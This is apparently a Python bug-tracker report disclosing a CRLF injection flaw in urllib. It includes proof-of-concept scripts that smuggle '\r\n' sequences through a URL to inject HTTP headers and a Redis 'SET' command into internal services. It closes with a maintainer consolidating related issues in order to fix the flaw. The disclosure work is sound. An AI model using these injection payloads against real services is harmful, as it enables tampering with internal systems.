Abstract: A CRLF injection vulnerability of Python built-in urllib module (“urllib2” in 2.x，”urllib” in 3.x) was found by our team. Attacker who has the control of the requesting address parameter, could exploit this vulnerability to manipulate a HTTP header and attack an internal service, like a normal Webserver, Memcached, Redis and so on.

Principles: The current implementation of urllib does not encode the ‘\r\n’ sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header.

Proof of Concept: Consider the following Python3 script:

#!/usr/bin/env python3

import sys import urllib import urllib.error import urllib.request

host = “10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123” url = “http://” + host + “:8080/test/?test=a”

try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e) #end

In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server.

nc -l -p 7777

GET /?a=1 HTTP/1.1 X-injected: header TEST: 123:8080/test/?test=a HTTP/1.1 Accept-Encoding: identity Host: 10.251.0.83:7777 User-Agent: Python-urllib/3.7 Connection: close

#end As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:” X-injected:header”, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ‘\r\n’ after the new header, so we add another parameter to contain the original parameter data, like ‘TEST’ in above sample.

Attack Scenarios

1. By crafting HTTP headers, it’s possible to fool some web services;
2. It’s also possible to attack several simple services like Redis, memcached. Let’s take Redis as a example here: Adapt the script above to this: #!/usr/bin/env python3

import sys import urllib import urllib.error import urllib.request

host = “10.251.0.83:6379?\r\nSET test success\r\n” url = “http://” + host + “:8080/test/?test=a”

try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e) #end We changed the injected header to a valid redis command, after executing this, we check the redis server: 127.0.0.1:6379> GET test “success” 127.0.0.1:6379> We can see that a “test” key was inserted successfully.

Conclusion: The implementation of parameter handling of urllib is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.

I am going to make a note that the Superseder

1. https://bugs.python.org/issue30458 - is listed only as pending request for 2.7 with the intention to raise an Exception.

However, this bug demonstrates a vulnerability in all versions of Python (including 3.8 as of March 2019).

There are additional related bug reports that deal with the same topic of parsing CRLF in headers / or in requests.

2. https://bugs.python.org/issue14826
3. https://bugs.python.org/issue13359

A consolidation of all of these is required, and at the end, our goal should be the close the loophole reported by this bug.

I am assigning this bug to myself to work on it, and my first task is make sure that the previous reports 1, 2 and 3 cover the scenario mentioned in this report. If they do not, I will reopen this ticket.

Thanks!